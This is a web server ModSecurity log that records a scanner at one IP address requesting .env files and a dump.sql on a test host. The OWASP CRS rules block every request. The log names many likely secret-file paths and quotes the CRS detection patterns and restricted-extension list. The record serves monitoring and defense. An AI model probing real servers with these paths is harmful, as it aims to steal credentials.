[Thu Feb 26 01:03:02.467782 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhrwAAAAE&quot;]
[Thu Feb 26 01:03:02.467956 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhrwAAAAE&quot;]
[Thu Feb 26 01:03:02.483284 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /downloads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2wAAAAA&quot;]
[Thu Feb 26 01:03:02.483544 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2wAAAAA&quot;]
[Thu Feb 26 01:03:02.483776 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy2wAAAAA&quot;]
[Thu Feb 26 01:03:02.494573 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/php-apache/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsAAAAAE&quot;]
[Thu Feb 26 01:03:02.494829 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsAAAAAE&quot;]
[Thu Feb 26 01:03:02.494994 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsAAAAAE&quot;]
[Thu Feb 26 01:03:02.517766 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3AAAAAA&quot;]
[Thu Feb 26 01:03:02.518068 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3AAAAAA&quot;]
[Thu Feb 26 01:03:02.518244 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3AAAAAA&quot;]
[Thu Feb 26 01:03:02.536602 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsQAAAAE&quot;]
[Thu Feb 26 01:03:02.536912 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsQAAAAE&quot;]
[Thu Feb 26 01:03:02.537122 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsQAAAAE&quot;]
[Thu Feb 26 01:03:02.543539 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3QAAAAA&quot;]
[Thu Feb 26 01:03:02.544108 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3QAAAAA&quot;]
[Thu Feb 26 01:03:02.544276 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3QAAAAA&quot;]
[Thu Feb 26 01:03:02.567222 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsgAAAAE&quot;]
[Thu Feb 26 01:03:02.567541 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsgAAAAE&quot;]
[Thu Feb 26 01:03:02.567731 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhsgAAAAE&quot;]
[Thu Feb 26 01:03:02.580514 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /e2e/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3gAAAAA&quot;]
[Thu Feb 26 01:03:02.580779 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3gAAAAA&quot;]
[Thu Feb 26 01:03:02.580957 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3gAAAAA&quot;]
[Thu Feb 26 01:03:02.604266 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhswAAAAE&quot;]
[Thu Feb 26 01:03:02.604573 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhswAAAAE&quot;]
[Thu Feb 26 01:03:02.604756 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhswAAAAE&quot;]
[Thu Feb 26 01:03:02.618058 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3wAAAAA&quot;]
[Thu Feb 26 01:03:02.618472 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3wAAAAA&quot;]
[Thu Feb 26 01:03:02.618709 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy3wAAAAA&quot;]
[Thu Feb 26 01:03:02.639869 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtAAAAAE&quot;]
[Thu Feb 26 01:03:02.640157 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtAAAAAE&quot;]
[Thu Feb 26 01:03:02.640329 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtAAAAAE&quot;]
[Thu Feb 26 01:03:02.645163 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /engine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 